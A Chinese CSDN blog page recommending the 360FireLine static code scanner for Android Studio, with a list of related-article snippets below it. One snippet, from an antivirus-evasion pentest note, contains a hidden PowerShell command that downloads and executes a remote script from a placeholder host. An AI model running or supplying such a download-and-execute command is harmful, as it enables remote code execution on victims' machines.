一个很好用的静态代码扫描工具 360FireLine

最新推荐文章于 2024-08-31 17:26:58 发布
最新推荐文章于 2024-08-31 17:26:58 发布
阅读量7.3k 收藏 1
点赞数 1
文章标签： android bug android studio 测试
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_15264049/article/details/78064187
版权
360FireLine是一款适用于Android Studio的静态代码扫描工具，提供中文报告，便于理解。介绍如何在线安装插件及命令行运行方法，帮助开发者定位和修复代码问题，提高代码质量和安全性。
摘要由CSDN通过智能技术生成

一个很好用的静态代码扫描工具 360FireLine

静态代码扫描工具有很多，Android Studio 自带的Lint，FindBugs，前两者生成的测试结果报告都是英文版的，对于英文不好的童鞋们来说简直就是煎熬，甚至失去了去追究bug的耐性；但是360作为国内的技术大厂，搞出来这个很好用的工具，生成的结果报告当然是中文了，这些工具bug定位都很准确，帮你把问题定位到某一行，并给出问题描述，空指针、内存泄露，安全建议等等；检测问题主要分为几大类：

  • 安全类
  • 日志类
  • 内存类
  • 基础类

引入方法

Android Studio

1. 火线插件目前可以在Android Studio中进行在线搜索安装。
2. 打开Android Studio，点击“File”->“Settings…”

这里写图片描述

3. 在打开的“Settings”界面选择“Plugins”，在搜索框输入“fireline”，点击“Searc
最低0.47元/天 解锁文章
武玉树临风
关注
firelineJenkinsPlugin:Fireline，一种静态代码分析程序，用于查找Java代码中的错误
05-24
Fireline插件就是这样的一个实用工具，它能够检测出如空指针异常、未初始化的变量、潜在的空指针解引用、不安全的类型转换等常见编程错误，同时也能针对一些复杂的代码结构和设计模式提出优化建议。 使用Fireline ...
击败Facebook Infer！360火线大起底
wpyily的专栏
06-05 1551
静态代码扫描领域风起云涌十余载，各个扫描工具拥趸众多，其中Facebook开源的Infer异军突起，独领风骚。然而360火线作为新的入场者凭什么能够击败Infer？是真有实力还是噱头吹捧？ Facebook 开源静态分析工具InferInfer是 Facebook 旗下开源的静态分析工具，至今已在Github上获得6700+ Star。Infer可以扫描JAVA、Objective-C和 C/C++
代码缺陷扫描神器——FindBugs
白帽黑客佳哥的博客
05-13 1971
FindBugs目前，主要有三种形式使用，GUI形式、插件形式、Ant脚本形式，在这里只讲述FindBugs作为插件，在Android Studio中的应用。根据缺陷的性质，大致可以分为下列几类：分类1）Bad practice：不好的做法，代码违反了公认的最佳实践标准，比如某个类实现了equals方法但未实现hashCode方法等；2）Malicious code vulnerbility：恶意的代码漏洞；3）Correctness：可能不正确，比如错误的强制类型转换；
9 个最佳 Java 静态代码分析工具
欢迎拜读我的作品，喜欢的领域请给我留言
08-13 1789
使用顶级 Java 静态代码分析工具列表来提高您的代码质量 - 确保您的代码干净、高效且无错误。开发人员如何防止频繁出现应用程序故障？自动化分析可能是答案。Java 静态代码分析工具有助于检测任何问题或，并通过自动化代码审查流程来帮助提高我们将探索一些市场上最好的工具，这些工具可以增强工作流程并创建更强大的代码。什么是静态代码分析？静态代码分析是一种无需执行源代码即可对其进行检查的技术。通过根据编码规则分析代码集，这种高级静态分析工具可以读取代码中的错误并确保其符合标准和最佳实践。
Android最值得使用的插件之一————360 FireLine Plugin、LeakCanary
Alan的博客
06-18 4912
360 FireLine Plugin是360团队针对安卓开发提供的一个功能插件，适用于对安卓APP安全检查规则。目前火线扫描规则共覆盖六大类：  1. APP安全检查  2. 代码规范检查  3. 内存泄露检查  4. 日志输出检查  5. 空指针检查  6. 多线程检查 提高开发效率必备！ 例如：不合理的Activity组件导出会导致拒绝服务，以下是检查之前和之后的代
360 FireLine Plugin 安装与使用说明
梁超杰
11-21 1414
一句话总结该插件： 内嵌于Android Studio对Android App进行代码检查 开发只占一个项目30%的时间，剩下的是测试和修复bug，在一些小公司里是没有测试人员的，苦恼随之而来——写代码的同时也是测试代码的，写代码的思维误区容易带到测试中（很难找到一些bug），所以使用一些代码检测工具就显得更加必要，今天推荐的是一款非常实用（使用人数很多）并且好用（生成中文的检测报告并且告诉你如
国内外主流静态分析类工具汇总
热门推荐
manok的专栏
07-27 2万+
笔者从事该软件安全方面工作，在工作和学习中收集了国内外比较主流的静态分析类工具，供大家参考。大多是资料来自于网络整理，如有不足或欠缺，还请在评论中指出。我进行修正。也欢迎同行多多交流。 我使用0标注北大软件CoBOT，因为他是国内第一款基于主流SAST技术的静态分析工具，填补了国内在缺陷检测、安全漏洞软件工具上的空白。值得称赞的工具。 0、北大软件CoBOT CoBOT（库博）是北京大学...
360代码卫士扫描_神经卫士如何建立其X射线ct扫描AI生产线
weixin_26713457的博客
10-12 308
360代码卫士扫描实例探究(CASE STUDIES) Neural Guard produces automated threat detection solutions powered by AI for the security screening market. With the expansion of global trends like urbanization, aviation,...
Vesta Mk 2 火势蔓延率模型用户指南
04-28
该模型是一种用于预测森林火灾蔓延速度的工具，对于森林防火、应急响应及灾后重建等具有重要意义。 #### 二、Vesta Mk 2 模型概述 Vesta Mk 2 火势蔓延率模型是基于一系列复杂的数学算法和实地数据验证建立起来的...
包体积优化·工具论·初识包体积优化
Kibaco的博客
01-13 1984
“ 【小木箱成长营】包体积优化系列文章： 包体积优化 · 实战论 · 怎么做包体积优化? 做好能晋升吗? 能涨多少钱? 包体积优化 · 方法论 · 揭开包体积优化神秘面纱 ” 一、引言 Hello，我是小木箱，欢迎来到小木箱成长营系列教程，今天将分享包体积优化·工具论·初识包体积优化。小木箱从两个维度将 Android 包体积优化工具论解释清楚，本文主要说了四个部分内容，第一部分内容是业务问题和挑战。第二部分内容是包体优化基础知识。第三部分内容是代码优化。最后部分内容是总结与展望。 代码优化分为四部分内容，
soui实现最新版360扫描界面demo源码
10-28
这是基于SOUI界面库的demo，用listview实现360扫描界面，这里是xml和适配器的代码！大家可以参考！
代码安全审计工具推荐
煜铭2011
05-07 1万+
0×00 简介企业安全规划建设过程中，往往会涉及到开发的代码安全，而更多可以实现落地的是源代码安全审计中，使用自动化工具代替人工漏洞挖掘，并且可以交付给研发人员直接进行安全自查，同时也更符合SDL的原则，此外可以显著提高审计工作的效率。0×01 代码安全审计概述以下链接为当前比较热门的代码审计推荐文章，门类齐全，点评到位，很值得参考。http://www.freebuf.com/sec...
自动修复360代码卫士扫描出来的日志伪造和删除main方法
朱晓龙的博客
11-07 1727
项目经过360代码卫士扫描以后或多或少有些漏洞，既然公司要求扫描，那就会要求修复，进入正题，如文章标题，本篇文章主要涉及一个jar包工具，功能主要实现如下功能： 解决项目中360扫描出来的【输入验证》日志伪造】漏洞 解决前： logger.debug(“xxxxx”+message); 解决后： String logDebugStr = StringEscapeUtils.escapeE...
【渗透测试笔记】之【免杀工具——使用Invoke-Obfuscation代码混淆免杀powershell】
AA8j的博客
07-06 2085
0x01 项目地址 https://github.com/danielbohannon/Invoke-Obfuscation 0x02 用法 生成powershell： powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:55556/a'))" 下载并用powershell进入项目目录执行：Import-Module .\Invoke-Obfuscati
Checkmarx代码审计/代码检测工具的使用教程，零基础也能学会！！
最新发布
xiangxue666的博客
08-31 1585
Checkmarx代码审计/代码检测工具的使用教程，零基础也能学会！！
360在线检测（填完代码检测完建议删除）
liNewman的博客
12-07 514
360在线检测（填完代码检测完建议删除） 是否准度先不说。 360在线检测（填完代码检测完建议删除）。 填完代码完整会显示360检测 图标，但是据说影响SEO以及360回连接数据库如果网站更新 容易导致网站不能访问。 http://webscan.360.cn/ ------------------------------------...
一款代码扫描工具 火线！！！！ fireline
weixin_30446613的博客
05-30 343
1. 在火线官网进行火线相关文件的下载，下载后的文件为fireline.jar 2、运行fireline.jar文件前请先确认系统环境中已安装Java JDK。 java-version 查看 3、在命令行中输入以下命令，点击确定 java -jar D:\test\fireline.jar -s=F:\work_space\seleniumcn-master -r=E:\Redlin...
查找代码的中文插件
zhutaorun的博客
04-30 1427
< 最近项目做国际化，虽然在文字内容设计上，做了配表，来帮助实现以后要的国际化。但是还是不可避免有些写在代码中的中文文字。  一.使用vs和正则表达式查找Ctrl+shift+F，打开查找和替换。查找选项中，勾上使用正则表达式，查找的内容为，可以排除注释中的代码，但是Unity的Deg和或者自定义的Deg代码没办法排除。xml和cs的格式全都找到了。  二.写Unity插件查找可设置查找路径，排
火线扫描Android静态代码
Jesse的专栏
06-11 1890
火线扫描是由360公司内部孵化出的免费静态代码扫描工具, 它目前最新版本v1.2.4主要针对Android静态代码的安全问题进行扫描. 在360内部该方案也服务于360安全卫士、手机助手、手机浏览器等15个App. 据火线的开发者说后续可能会对Kotlin(Android first-class开发语言)扫描、IOS扫描、圈复杂度和覆盖率统计等提供支持.并且火线是本地部署, 可以避免代码泄露和其他
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值